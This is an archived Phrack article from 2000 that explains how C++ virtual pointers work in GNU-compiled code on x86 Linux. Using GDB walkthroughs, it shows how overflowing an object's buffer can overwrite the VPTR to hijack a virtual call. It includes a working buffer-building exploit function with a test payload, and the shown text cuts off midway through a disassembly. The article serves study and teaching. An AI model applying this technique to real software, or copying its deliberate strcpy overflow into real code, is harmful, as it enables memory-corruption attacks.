home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p56-0x08.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  54.9 KB  |  1,389 lines

  1.                       - P H R A C K   M A G A Z I N E -
  2.  
  3.                             Volume 0xa Issue 0x38
  4.                                   05.01.2000
  5.                                   0x08[0x10]
  6.  
  7. |----------------------------- SMASHING C++ VPTRS ----------------------------|
  8. |-----------------------------------------------------------------------------|
  9. |-------------------------- rix <rix@securiweb.net> --------------------------|
  10.  
  11.  
  12. ----|  Introduction
  13.  
  14. At the present time, a widely known set of techniques instructs us how to
  15. exploit buffer overflows in programs usually written in C.  Although C is
  16. almost ubiquitously used, we are seeing many programs also be written in C++.
  17. For the most part, the techniques that are applicable in C are available in
  18. C++ also, however, C++ can offer us new possibilities in regards to buffer
  19. overflows, mostly due to the use of object oriented technologies.  We are
  20. going to analyze one of these possibilities, using the C++ GNU compiler,
  21. on an x86 Linux system.
  22.  
  23.  
  24. ----|  C++ Backgrounder
  25.  
  26. We can define a "class" as being a structure that contains data and a set of 
  27. functions (called "methods").  Then, we can create variables based on this
  28. class definition.  Those variables are called "objects".  For example, we
  29. can have the following program (bo1.cpp):
  30.  
  31.  
  32. #include <stdio.h>
  33. #include <string.h>
  34.  
  35. class MyClass
  36.     private:
  37.         char Buffer[32];
  38.     public:
  39.         void SetBuffer(char *String)
  40.         {
  41.             strcpy(Buffer, String);
  42.         }
  43.         void PrintBuffer()
  44.         {
  45.             printf("%s\n", Buffer);
  46.         }
  47. };
  48.  
  49. void main()
  50. {
  51.      MyClass Object;
  52.  
  53.      Object.SetBuffer("string");
  54.      Object.PrintBuffer();
  55. }
  56.  
  57.  
  58. This small program defines a MyClass class that possesses 2 methods:
  59.  
  60. 1) A SetBuffer() method, that fills an internal buffer to the class (Buffer).
  61. 2) A PrintBuffer() method, that displays the content of this buffer.
  62.  
  63. Then, we define an Object object based on the MyClass class.  Initially, we'll
  64. notice that the SetBuffer() method uses a *very dangerous* function to fill
  65. Buffer, strcpy()...
  66.  
  67. As it happens, using object oriented programming in this simplistic example
  68. doesn't bring too many advantages.  On the other hand, a mechanism very often
  69. used in object oriented programming is the inheritance mechanism.  Let's
  70. consider the following program (bo2.cpp), using the inheritance mechanism
  71. to create 2 classes with distinct PrintBuffer() methods:
  72.  
  73.  
  74. #include <stdio.h>
  75. #include <string.h>
  76.  
  77. class BaseClass
  78. {
  79.     private:
  80.         char Buffer[32];
  81.     public:
  82.         void SetBuffer(char *String)
  83.         {
  84.             strcpy(Buffer,String);
  85.         }
  86.         virtual void PrintBuffer()
  87.         {
  88.             printf("%s\n",Buffer);
  89.         }
  90. };
  91.  
  92. class MyClass1:public BaseClass
  93. {
  94.     public:
  95.         void PrintBuffer()
  96.         {
  97.             printf("MyClass1: ");
  98.             BaseClass::PrintBuffer();
  99.         }
  100. };
  101.  
  102. class MyClass2:public BaseClass
  103. {
  104.     public:
  105.         void PrintBuffer()
  106.         {
  107.             printf("MyClass2: ");
  108.             BaseClass::PrintBuffer();
  109.         }
  110. };
  111.  
  112. void main()
  113. {
  114.     BaseClass *Object[2];
  115.  
  116.     Object[0] = new MyClass1;
  117.     Object[1] = new MyClass2; 
  118.  
  119.     Object[0]->SetBuffer("string1");
  120.     Object[1]->SetBuffer("string2");
  121.     Object[0]->PrintBuffer();
  122.     Object[1]->PrintBuffer();
  123. }
  124.  
  125. This program creates 2 distinct classes (MyClass1, MyClass2) which are
  126. derivatives of a BaseClass class.  These 2 classes differ at the display level
  127. (PrintBuffer() method).  Each has its own PrintBuffer() method, but they both
  128. call the original PrintBuffer() method (from BaseClass).  Next, we have the
  129. main() function define an array of pointers to two objects of class BaseClass.
  130. Each of these objects is created, as derived from MyClass1 or MyClass2.
  131. Then we call the SetBuffer() and PrintBuffer() methods of these two objects.
  132. Executing the program produces this output:
  133.  
  134. rix@pentium:~/BO> bo2
  135. MyClass1: string1
  136. MyClass2: string2
  137. rix@pentium:~/BO>
  138.  
  139. We now notice the advantage of object oriented programming.  We have the
  140. same calling primitives to PrintBuffer() for two different classes!  This is
  141. the end result from virtual methods.  Virtual methods permit us to redefine
  142. newer versions of methods of our base classes, or to define a method of the
  143. base classes (if the base class is purely abstracted) in a derivative class.
  144. If we don't declare the method as virtual, the compiler would do the call
  145. resolution at compile time ("static binding").  To resolve the call at run
  146. time (because this call depends on the class of objects that we have in our
  147. Object[] array), we must declare our PrintBuffer() method as "virtual".  The
  148. compiler will then use a dynamic binding, and will calculate the address for
  149. the call at run time.
  150.  
  151.  
  152. ----|  C++ VPTR
  153.  
  154. We are now going to analyze in a more detailed manner this dynamic binding 
  155. mechanism.  Let's take the case of our BaseClass class and its derivative
  156. classes.
  157.  
  158. The compiler first browses the declaration of BaseClass.  Initially, it
  159. reserves 32 bytes for the definition of Buffer.  Then, it reads the
  160. declaration of the SetBuffer() method (not virtual) and it directly assigns
  161. the corresponding address in the code.  Finally, it reads the declaration of
  162. the PrintBuffer() method (virtual).  In this case, instead of doing a static
  163. binding, it does a dynamic binding, and reserves 4 bytes in the class (those
  164. bytes will contain a pointer).  We have now the following structure:
  165.  
  166.         BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
  167.  
  168. Where: B represents a byte of Buffer.
  169.        V represents a byte of our pointer.
  170.  
  171. This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an 
  172. array of function pointers.  Those point themselves to methods (relative to
  173. the class).  There is one VTABLE for a class, that contains only pointers to
  174. all class methods.  We now have the following diagram:
  175.  
  176. Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
  177.                                            =+==
  178.                         |
  179.          +------------------------------+
  180.          |
  181.          +--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP
  182.  
  183. Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
  184.                                            =+==
  185.                         |
  186.          +------------------------------+
  187.          |
  188.          +--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ
  189.  
  190. Where: B represents a byte of Buffer.
  191.        V represents a byte of the VPTR to VTABLE_MyClass1.
  192.        W represents a byte of the VPTR to VTABLE_MyClass2.
  193.        I represents various information bytes.
  194.        P represents a byte of the pointer to the PrintBuffer() method of
  195.         MyClass1.
  196.        Q represents a byte of the pointer to the PrintBuffer() method of
  197.         MyClass2.
  198.  
  199. If we had a third object of MyClass1 class, for example, we would have:
  200.  
  201. Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
  202.  
  203. with VVVV that would point to VTABLE_MyClass1.
  204.  
  205. We notice that the VPTR is located after our Buffer in the process's memory.
  206. As we fill this buffer via the strcpy() function, we easily deduct that we can 
  207. reach the VPTR by filling the buffer!
  208.  
  209. NOTE: After some tests under Windows, it appears that Visual C++ 6.0 
  210. places the VPTR right at the beginning of the object, which prevents us from
  211. using this technique.  On the other hand, C++ GNU places the VPTR at the end
  212. of the object (which is what we want).
  213.  
  214.  
  215. ----|  VPTR analysis using GDB
  216.  
  217. Now we will observe the mechanism more precisely, using a debugger.  For this,
  218. we compile our program and run GDB:
  219.  
  220. rix@pentium:~/BO > gcc -o bo2 bo2.cpp
  221. rix@pentium:~/BO > gdb bo2
  222. GNU gdb 4.17.0.11 with Linux support
  223. Copyright 1998 Free Software Foundation, Inc.
  224. GDB is free software, covered by the GNU General Public License, and you are
  225. welcome to change it and/or distribute copies of it under certain conditions.
  226. Type "show copying" to see the conditions.
  227. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  228. This GDB was configured as "i686-pc-linux-gnu"...
  229. (gdb) disassemble main
  230. Dump of assembler code for function main:
  231. 0x80485b0 <main>:       pushl  %ebp
  232. 0x80485b1 <main+1>:     movl   %esp,%ebp
  233. 0x80485b3 <main+3>:     subl   $0x8,%esp
  234. 0x80485b6 <main+6>:     pushl  %edi
  235. 0x80485b7 <main+7>:     pushl  %esi
  236. 0x80485b8 <main+8>:     pushl  %ebx
  237. 0x80485b9 <main+9>:     pushl  $0x24
  238. 0x80485bb <main+11>:    call   0x80487f0 <___builtin_new>
  239. 0x80485c0 <main+16>:    addl   $0x4,%esp
  240. 0x80485c3 <main+19>:    movl   %eax,%eax
  241. 0x80485c5 <main+21>:    pushl  %eax
  242. 0x80485c6 <main+22>:    call   0x8048690 <__8MyClass1>
  243. 0x80485cb <main+27>:    addl   $0x4,%esp
  244. 0x80485ce <main+30>:    movl   %eax,%eax
  245. 0x80485d0 <main+32>:    movl   %eax,0xfffffff8(%ebp)
  246. 0x80485d3 <main+35>:    pushl  $0x24
  247. 0x80485d5 <main+37>:    call   0x80487f0 <___builtin_new>
  248. 0x80485da <main+42>:    addl   $0x4,%esp
  249. 0x80485dd <main+45>:    movl   %eax,%eax
  250. 0x80485df <main+47>:    pushl  %eax
  251. 0x80485e0 <main+48>:    call   0x8048660 <__8MyClass2>
  252. 0x80485e5 <main+53>:    addl   $0x4,%esp
  253. 0x80485e8 <main+56>:    movl   %eax,%eax
  254. ---Type <return> to continue, or q <return> to quit---
  255. 0x80485ea <main+58>:    movl   %eax,0xfffffffc(%ebp)
  256. 0x80485ed <main+61>:    pushl  $0x8048926
  257. 0x80485f2 <main+66>:    movl   0xfffffff8(%ebp),%eax
  258. 0x80485f5 <main+69>:    pushl  %eax
  259. 0x80485f6 <main+70>:    call   0x80486c0 <SetBuffer__9BaseClassPc>
  260. 0x80485fb <main+75>:    addl   $0x8,%esp
  261. 0x80485fe <main+78>:    pushl  $0x804892e
  262. 0x8048603 <main+83>:    movl   0xfffffffc(%ebp),%eax
  263. 0x8048606 <main+86>:    pushl  %eax
  264. 0x8048607 <main+87>:    call   0x80486c0 <SetBuffer__9BaseClassPc>
  265. 0x804860c <main+92>:    addl   $0x8,%esp
  266. 0x804860f <main+95>:    movl   0xfffffff8(%ebp),%eax
  267. 0x8048612 <main+98>:    movl   0x20(%eax),%ebx
  268. 0x8048615 <main+101>:   addl   $0x8,%ebx
  269. 0x8048618 <main+104>:   movswl (%ebx),%eax
  270. 0x804861b <main+107>:   movl   %eax,%edx
  271. 0x804861d <main+109>:   addl   0xfffffff8(%ebp),%edx
  272. 0x8048620 <main+112>:   pushl  %edx
  273. 0x8048621 <main+113>:   movl   0x4(%ebx),%edi
  274. 0x8048624 <main+116>:   call   *%edi
  275. 0x8048626 <main+118>:   addl   $0x4,%esp
  276. 0x8048629 <main+121>:   movl   0xfffffffc(%ebp),%eax
  277. 0x804862c <main+124>:   movl   0x20(%eax),%esi
  278. 0x804862f <main+127>:   addl   $0x8,%esi
  279. ---Type <return> to continue, or q <return> to quit---
  280. 0x8048632 <main+130>:   movswl (%esi),%eax
  281. 0x8048635 <main+133>:   movl   %eax,%edx
  282. 0x8048637 <main+135>:   addl   0xfffffffc(%ebp),%edx
  283. 0x804863a <main+138>:   pushl  %edx
  284. 0x804863b <main+139>:   movl   0x4(%esi),%edi
  285. 0x804863e <main+142>:   call   *%edi
  286. 0x8048640 <main+144>:   addl   $0x4,%esp
  287. 0x8048643 <main+147>:   xorl   %eax,%eax
  288. 0x8048645 <main+149>:   jmp    0x8048650 <main+160>
  289. 0x8048647 <main+151>:   movl   %esi,%esi
  290. 0x8048649 <main+153>:   leal   0x0(%edi,1),%edi
  291. 0x8048650 <main+160>:   leal   0xffffffec(%ebp),%esp
  292. 0x8048653 <main+163>:   popl   %ebx
  293. 0x8048654 <main+164>:   popl   %esi
  294. 0x8048655 <main+165>:   popl   %edi
  295. 0x8048656 <main+166>:   movl   %ebp,%esp
  296. 0x8048658 <main+168>:   popl   %ebp
  297. 0x8048659 <main+169>:   ret
  298. 0x804865a <main+170>:   leal   0x0(%esi),%esi
  299. End of assembler dump.
  300.  
  301. Let's analyze, in a detailed manner, what our main() function does:
  302.  
  303. 0x80485b0 <main>:       pushl  %ebp
  304. 0x80485b1 <main+1>:     movl   %esp,%ebp
  305. 0x80485b3 <main+3>:     subl   $0x8,%esp
  306. 0x80485b6 <main+6>:     pushl  %edi
  307. 0x80485b7 <main+7>:     pushl  %esi
  308. 0x80485b8 <main+8>:     pushl  %ebx
  309.  
  310. The program creates a stack frame, then it reserves 8 bytes on the stack (this 
  311. is our local Object[] array), that will contain 2 pointers of 4 bytes each,
  312. respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for
  313. Object[1].  Next, it saves various registers.
  314.  
  315. 0x80485b9 <main+9>:     pushl  $0x24
  316. 0x80485bb <main+11>:    call   0x80487f0 <___builtin_new>
  317. 0x80485c0 <main+16>:    addl   $0x4,%esp
  318.  
  319. The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the
  320. heap for our Object[0] and sends us back the address of these bytes reserved
  321. in EAX.  Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes
  322. for our VPTR.
  323.  
  324. 0x80485c3 <main+19>:    movl   %eax,%eax
  325. 0x80485c5 <main+21>:    pushl  %eax
  326. 0x80485c6 <main+22>:    call   0x8048690 <__8MyClass1>
  327. 0x80485cb <main+27>:    addl   $0x4,%esp
  328.  
  329. Here, we place the address of the object (contained in EAX) on the stack, then 
  330. we call the __8MyClass1 function.  This function is in fact the constructor of
  331. the MyClass1 class.  It is necessary to also notice that in C++, all methods
  332. include an additional "secret" parameter.  That is the address of the object
  333. that actually executes the method (the "This" pointer).  Let's analyze
  334. instructions from this constructor:
  335.  
  336. (gdb) disassemble __8MyClass1
  337. Dump of assembler code for function __8MyClass1:
  338. 0x8048690 <__8MyClass1>:        pushl  %ebp
  339. 0x8048691 <__8MyClass1+1>:      movl   %esp,%ebp
  340. 0x8048693 <__8MyClass1+3>:      pushl  %ebx
  341. 0x8048694 <__8MyClass1+4>:      movl   0x8(%ebp),%ebx
  342.  
  343. EBX now contains the pointer to the 36 reserved bytes ("This" pointer).
  344.  
  345. 0x8048697 <__8MyClass1+7>:      pushl  %ebx
  346. 0x8048698 <__8MyClass1+8>:      call   0x8048700 <__9BaseClass>
  347. 0x804869d <__8MyClass1+13>:     addl   $0x4,%esp
  348.  
  349. Here, we call the constructor of the BaseClass class.
  350.  
  351. (gdb) disass __9BaseClass
  352. Dump of assembler code for function __9BaseClass:
  353. 0x8048700 <__9BaseClass>:       pushl  %ebp
  354. 0x8048701 <__9BaseClass+1>:     movl   %esp,%ebp
  355. 0x8048703 <__9BaseClass+3>:     movl   0x8(%ebp),%edx
  356.  
  357. EDX receives the pointer to the 36 reserved bytes ("This" pointer).
  358.  
  359. 0x8048706 <__9BaseClass+6>:     movl   $0x8048958,0x20(%edx)
  360.  
  361. The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value.
  362. Then, the __9BaseClass function extends a little farther.  If we launch:
  363.  
  364. (gdb) x/aw 0x08048958
  365. 0x8048958 <_vt.9BaseClass>:     0x0
  366.  
  367. We observe that the value that is written in EDX+0x20 (the VPTR of the
  368. reserved object) receives the address of the VTABLE of the BaseClass class.
  369. Returning to the code of the MyClass1 constructor:
  370.  
  371. 0x80486a0 <__8MyClass1+16>:     movl   $0x8048948,0x20(%ebx)
  372.  
  373. It writes the 0x8048948 value to EBX+0x20 (VPTR).  Again, the function extends
  374. a little farther.  Let's launch:
  375.  
  376. (gdb) x/aw 0x08048948
  377. 0x8048948 <_vt.8MyClass1>:      0x0
  378.  
  379. We observe that the VPTR is overwritten, and that it now receives the address
  380. of the VTABLE of the MyClass1 class.  Our main() function get back (in EAX) a
  381. pointer to the object allocated in memory.
  382.  
  383. 0x80485ce <main+30>:    movl   %eax,%eax
  384. 0x80485d0 <main+32>:    movl   %eax,0xfffffff8(%ebp)
  385.  
  386. This pointer is placed in Object[0].  Then, the program uses the same mechanism
  387. for Object[1], evidently with different addresses.  After all that
  388. initialization, the following instructions will run: 
  389.  
  390. 0x80485ed <main+61>:    pushl  $0x8048926
  391. 0x80485f2 <main+66>:    movl   0xfffffff8(%ebp),%eax
  392. 0x80485f5 <main+69>:    pushl  %eax
  393.  
  394. Here, we first place address 0x8048926 as well as the value of Object[0] on
  395. the stack ("This" pointer).  Observing the 0x8048926 address:
  396.  
  397. (gdb) x/s 0x08048926
  398. 0x8048926 <_fini+54>:    "string1"
  399.  
  400. We notice that this address contains "string1" that is going to be copied in
  401. Buffer via the SetBuffer() function of the BaseClass class.
  402.  
  403. 0x80485f6 <main+70>:    call   0x80486c0 <SetBuffer__9BaseClassPc>
  404. 0x80485fb <main+75>:    addl   $0x8,%esp
  405.  
  406. We call the SetBuffer() method of the BaseClass class.  It is interesting to
  407. observe that the call of the SetBuffer method is a static binding (because it
  408. is not a virtual method).  The same principle is used for the SetBuffer()
  409. method relative to Object[1]. 
  410.  
  411. To verify that our 2 objects are correctly initialized at run time, we are 
  412. going to install the following breakpoints:
  413.  
  414. 0x80485c0: to get the address of the 1st object.
  415. 0x80485da: to get the address of the 2nd object.
  416. 0x804860f: to verify that initializations of objects took place well.
  417.  
  418. (gdb) break *0x80485c0
  419. Breakpoint 1 at 0x80485c0
  420. (gdb) break *0x80485da
  421. Breakpoint 2 at 0x80485da
  422. (gdb) break *0x804860f
  423. Breakpoint 3 at 0x804860f
  424.  
  425. Finally we run the program:
  426.  
  427. Starting program: /home/rix/BO/bo2
  428. Breakpoint 1, 0x80485c0 in main ()
  429.  
  430. While consulting EAX, we will have the address of our 1st object:
  431.  
  432. (gdb) info reg eax
  433.      eax:  0x8049a70   134519408
  434.  
  435. Then, we continue to the following breakpoint:
  436.  
  437. (gdb) cont
  438. Continuing.
  439. Breakpoint 2, 0x80485da in main ()
  440.  
  441. We notice our second object address:
  442.  
  443. (gdb) info reg eax
  444.      eax:  0x8049a98   134519448
  445.  
  446. We can now run the constructors and the SetBuffer() methods:
  447.  
  448. (gdb) cont
  449. Continuing.
  450. Breakpoint 3, 0x804860f in main ()
  451.  
  452. Let's notice that our 2 objects follow themselves in memory (0x8049a70 and 
  453. 0x8049a98).  However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are
  454. 4 bytes that have apparently been inserted between the 1st and the 2nd object.
  455. If we want to see these bytes:
  456.  
  457. (gdb) x/aw 0x8049a98-4
  458. 0x8049a94:      0x29
  459.  
  460. We observe that they contain the value 0x29.  The 2nd object is also followed
  461. by 4 particular bytes:
  462.  
  463. (gdb) x/xb 0x8049a98+32+4
  464. 0x8049abc:      0x49
  465.  
  466. We are now going to display in a more precise manner the internal structure of 
  467. each of our objects (now initialized):
  468.  
  469. (gdb) x/s 0x8049a70
  470. 0x8049a70:       "string1"
  471. (gdb) x/a 0x8049a70+32
  472. 0x8049a90:      0x8048948 <_vt.8MyClass1>
  473. (gdb) x/s 0x8049a98
  474. 0x8049a98:       "string2"
  475. (gdb) x/a 0x8049a98+32
  476. 0x8049ab8:      0x8048938 <_vt.8MyClass2>
  477.  
  478. We can display the content of the VTABLEs of each of our classes:
  479.  
  480. (gdb) x/a 0x8048948
  481. 0x8048948 <_vt.8MyClass1>:      0x0
  482. (gdb) x/a 0x8048948+4
  483. 0x804894c <_vt.8MyClass1+4>:    0x0
  484. (gdb) x/a 0x8048948+8
  485. 0x8048950 <_vt.8MyClass1+8>:    0x0
  486. (gdb) x/a 0x8048948+12
  487. 0x8048954 <_vt.8MyClass1+12>:   0x8048770 <PrintBuffer__8MyClass1>
  488. (gdb) x/a 0x8048938
  489. 0x8048938 <_vt.8MyClass2>:      0x0
  490. (gdb) x/a 0x8048938+4
  491. 0x804893c <_vt.8MyClass2+4>:    0x0
  492. (gdb) x/a 0x8048938+8
  493. 0x8048940 <_vt.8MyClass2+8>:    0x0
  494. (gdb) x/a 0x8048938+12
  495. 0x8048944 <_vt.8MyClass2+12>:   0x8048730 <PrintBuffer__8MyClass2>
  496.  
  497. We see that the PrintBuffer() method is well the 4th method in the VTABLE of 
  498. our classes.  Next, we are going to analyze the mechanism for dynamic binding.
  499. It we will continue to run and display registers and memory used.  We will
  500. execute the code of the function main() step by step, with instructions:
  501.  
  502. (gdb) ni
  503.  
  504. Now we are going to run the following instructions:
  505.  
  506. 0x804860f <main+95>:    movl   0xfffffff8(%ebp),%eax
  507.  
  508. This instruction is going to make EAX point to the 1st object.
  509.  
  510. 0x8048612 <main+98>:    movl   0x20(%eax),%ebx
  511. 0x8048615 <main+101>:   addl   $0x8,%ebx
  512.  
  513. These instructions are going to make EBX point on the 3rd address from the 
  514. VTABLE of the MyClass1 class.
  515.  
  516. 0x8048618 <main+104>:   movswl (%ebx),%eax
  517. 0x804861b <main+107>:   movl   %eax,%edx
  518.  
  519. These instructions are going to load the word at offset +8 in the VTABLE to
  520. EDX.
  521.  
  522. 0x804861d <main+109>:   addl   0xfffffff8(%ebp),%edx
  523. 0x8048620 <main+112>:   pushl  %edx
  524.  
  525. These instructions add to EDX the offset of the 1st object, and place the 
  526. resulting address (This pointer) on the stack.
  527.  
  528. 0x8048621 <main+113>:   movl   0x4(%ebx),%edi        // EDI = *(VPTR+8+4)
  529. 0x8048624 <main+116>:   call   *%edi                 // run the code at EDI
  530.  
  531. This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that 
  532. is the address of the PrintBuffer() method of the MyClass1 class. Then, this 
  533. method is executed.  The same mechanism is used to execute the PrintBuffer()
  534. method of the MyClass2 class.  Finally, the function main() ends a little
  535. farther, using a RET.
  536.  
  537. We have observed a "strange handling", to point to the beginning of the object 
  538. in memory, since we went to look for an offset word in VPTR+8 to add it to the 
  539. address of our 1st object.  This manipulation doesn't serve has anything in
  540. this precise case, because the  value pointed by VPTR+8 was 0:
  541.  
  542. (gdb) x/a 0x8048948+8
  543. 0x8048950 <_vt.8MyClass1+8>:    0x0
  544.  
  545. However, this manipulation is necessary in several convenient cases. It is why 
  546. it is important to notice it. We will come back besides later on this 
  547. mechanism, because it will provoke some problems later.
  548.  
  549.  
  550. ----|  Exploiting VPTR
  551.  
  552. We are now going to try to exploit in a simple manner the buffer overflow.
  553. For it, we must proceed as this:
  554. - To construct our own VTABLE, whose addresses will point to the code that we 
  555. want to run (a shellcode for example ;)
  556. - To overflow the content of the VPTR so that it points to our own VTABLE.
  557.  
  558. One of the means to achieve it, is to code our VTABLE in the beginning of the 
  559. buffer that we will overflow. Then, we must set a VPTR value to point back to 
  560. the beginning of our buffer (our VTABLE). We can either place our shellcode
  561. directly after our VTABLE in our buffer, either place it after the value of the
  562. VPTR that we are going to overwrite.
  563. However, if we place our shellcode after the VPTR, it is necessary to be 
  564. certain that we have access to this part of the memory, to not provoke 
  565. segmentation faults.
  566. This consideration depends largely of the size of the buffer.
  567. A buffer of large size will be able to contain without problem a VTABLE and a 
  568. shellcode, and then avoid all risks of segmentation faults.
  569. Let's remind ourselves that our objects are each time followed by a 4 bytes 
  570. sequence (0x29, 0x49), and that we can without problems write our 00h (end of 
  571. string) to the byte behind our VPTR.
  572.  
  573. To check we are going to place our shellcode rightly before our VPTR.
  574. We are going to adopt the following structure in our buffer:
  575.  
  576.  +------(1)---<----------------+
  577.  |                             |
  578.  |                           ==+=
  579. SSSS ..... SSSS ....  B ... CVVVV0
  580. ==+=       =+==             |
  581.   |         |               |
  582.   +----(2)--+->-------------+
  583.  
  584. Where: V represents bytes of the address of the beginning of our buffer.
  585.        S represents bytes of the address of our shellcode, here the address of
  586.         C (address S=address V+offset VPTR in the buffer-1 in this case, because
  587.         we have placed our shellcode rightly before the VPTR).
  588.        B represents the possible bytes of any value alignment (NOPs:), to
  589.         align the value of our VPTR on the VPTR of the object.
  590.        C represents the byte of the shellcode, in this case, a simple CCh byte 
  591.         (INT 3), that will provoke a SIGTRAP signal.
  592.        0 represents the 00h byte, that will be at the end of our buffer (for 
  593.         strcpy() function).
  594.  
  595. The number of addresses to put in the beginning of our buffer (SSSS) depends
  596. if we know or not the index in the VTABLE of the 1st method that will be
  597. called after our overflow:
  598. Either we knows this index, and then we writes the corresponding pointer.
  599. Either we doesn't know this index, and we generate a maximum number of
  600. pointers. Then, we hope the method that will be executed will use one of those
  601. overwritten pointers. Notice that a class that contains 200 methods isn't very
  602. usual ;)
  603. The address to put in VVVV (our VPTR) depends principally of the execution of 
  604. the program.
  605. It is necessary to note here that our objects were allocated on the heap, and 
  606. that it is difficult to know exactly their addresses.
  607.  
  608. We are going to write a small function that will construct us a buffer.
  609. This function will receive 3 parameters:
  610. - BufferAddress: the address of the beginning of the buffer that we will 
  611. overflow.
  612. - NAddress: the number of addresses that we want in our VTABLE.
  613.  
  614. Here is the code of our BufferOverflow() function:
  615.  
  616.  
  617. char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
  618.  char *Buffer;
  619.  unsigned long *LongBuffer;
  620.  unsigned long CCOffset;
  621.  int i;
  622.  
  623.  Buffer=(char*)malloc(VPTROffset+4);
  624.   // allocates the buffer.
  625.  
  626.  CCOffset=(unsigned long)VPTROffset-1;
  627.   // calculates the offset of the code to execute in the buffer.
  628.   
  629.  for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
  630.   // fills the buffer with 90h (NOP, old habit:)))
  631.   
  632.  LongBuffer=(unsigned long*)Buffer;
  633.   // constructs a pointer to place addresses in our VTABLE.
  634.   
  635.  for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
  636.   // fills our VTABLE at the beginning of the buffer with the address of the 
  637.   // shellcode.
  638.   
  639.  LongBuffer=(unsigned long*)&Buffer[VPTROffset];
  640.   // constructs a pointeur on VPTR.
  641.   
  642.  *LongBuffer=BufferAddress;
  643.   // value that will overwrite VPTR.
  644.   
  645.  Buffer[CCOffset]='\xCC';
  646.   // our executable code.
  647.  
  648.  Buffer[VPTROffset+4]='\x00';
  649.   // finishes by a 00h char (end string).
  650.  
  651.  return Buffer; 
  652. }
  653.  
  654.  
  655. In our program we can now call our BufferOverflow() function, with as 
  656. parameters:
  657. - the address of our buffer, here the address of our object (Object[0]).
  658. - 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4).
  659. - 32 as offset for VPTR.
  660. Here is the resulting code (bo3.cpp):
  661.  
  662.  
  663. #include <stdio.h>
  664. #include <string.h>
  665. #include <malloc.h>
  666.  
  667. class BaseClass { 
  668. private:
  669.  char Buffer[32];
  670. public:
  671.  void SetBuffer(char *String) {
  672.   strcpy(Buffer,String);
  673.  }
  674.  virtual void PrintBuffer() {
  675.   printf("%s\n",Buffer);
  676.  }
  677. };
  678.  
  679. class MyClass1:public BaseClass {
  680. public:
  681.  void PrintBuffer() {
  682.   printf("MyClass1: ");
  683.   BaseClass::PrintBuffer();
  684.  }
  685. };
  686.  
  687. class MyClass2:public BaseClass {
  688. public:
  689.  void PrintBuffer() {
  690.   printf("MyClass2: ");
  691.   BaseClass::PrintBuffer();
  692.  }
  693. };
  694.  
  695. char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
  696.  char *Buffer;
  697.  unsigned long *LongBuffer;
  698.  unsigned long CCOffset;
  699.  int i;
  700.  
  701.  Buffer=(char*)malloc(VPTROffset+4+1);
  702.  
  703.  CCOffset=(unsigned long)VPTROffset-1; 
  704.  for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
  705.  LongBuffer=(unsigned long*)Buffer;
  706.  for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
  707.  LongBuffer=(unsigned long*)&Buffer[VPTROffset];
  708.  *LongBuffer=BufferAddress;
  709.  Buffer[CCOffset]='\xCC';
  710.  Buffer[VPTROffset+4]='\x00';
  711.  return Buffer; 
  712. }
  713.  
  714. void main() {
  715.  BaseClass *Object[2];
  716.  
  717.  Object[0]=new MyClass1;
  718.  Object[1]=new MyClass2; 
  719.  Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32));  
  720.  Object[1]->SetBuffer("string2");
  721.  Object[0]->PrintBuffer();
  722.  Object[1]->PrintBuffer();
  723. }
  724.  
  725.  
  726. We compile, and we launch GDB:
  727.  
  728. rix@pentium:~/BO > gcc -o bo3 bo3.cpp
  729. rix@pentium:~/BO > gdb bo3
  730. ...
  731. (gdb) disass main
  732. Dump of assembler code for function main:
  733. 0x8048670 <main>:       pushl  %ebp
  734. 0x8048671 <main+1>:     movl   %esp,%ebp
  735. 0x8048673 <main+3>:     subl   $0x8,%esp
  736. 0x8048676 <main+6>:     pushl  %edi
  737. 0x8048677 <main+7>:     pushl  %esi
  738. 0x8048678 <main+8>:     pushl  %ebx
  739. 0x8048679 <main+9>:     pushl  $0x24
  740. 0x804867b <main+11>:    call   0x80488c0 <___builtin_new>
  741. 0x8048680 <main+16>:    addl   $0x4,%esp
  742. 0x8048683 <main+19>:    movl   %eax,%eax
  743. 0x8048685 <main+21>:    pushl  %eax
  744. 0x8048686 <main+22>:    call   0x8048760 <__8MyClass1>
  745. 0x804868b <main+27>:    addl   $0x4,%esp
  746. 0x804868e <main+30>:    movl   %eax,%eax
  747. 0x8048690 <main+32>:    movl   %eax,0xfffffff8(%ebp)
  748. 0x8048693 <main+35>:    pushl  $0x24
  749. 0x8048695 <main+37>:    call   0x80488c0 <___builtin_new>
  750. 0x804869a <main+42>:    addl   $0x4,%esp
  751. 0x804869d <main+45>:    movl   %eax,%eax
  752. 0x804869f <main+47>:    pushl  %eax
  753. 0x80486a0 <main+48>:    call   0x8048730 <__8MyClass2>
  754. 0x80486a5 <main+53>:    addl   $0x4,%esp
  755. 0x80486a8 <main+56>:    movl   %eax,%eax
  756. ---Type <return> to continue, or q <return> to quit---
  757. 0x80486aa <main+58>:    movl   %eax,0xfffffffc(%ebp)
  758. 0x80486ad <main+61>:    pushl  $0x20
  759. 0x80486af <main+63>:    pushl  $0x4
  760. 0x80486b1 <main+65>:    movl   0xfffffff8(%ebp),%eax
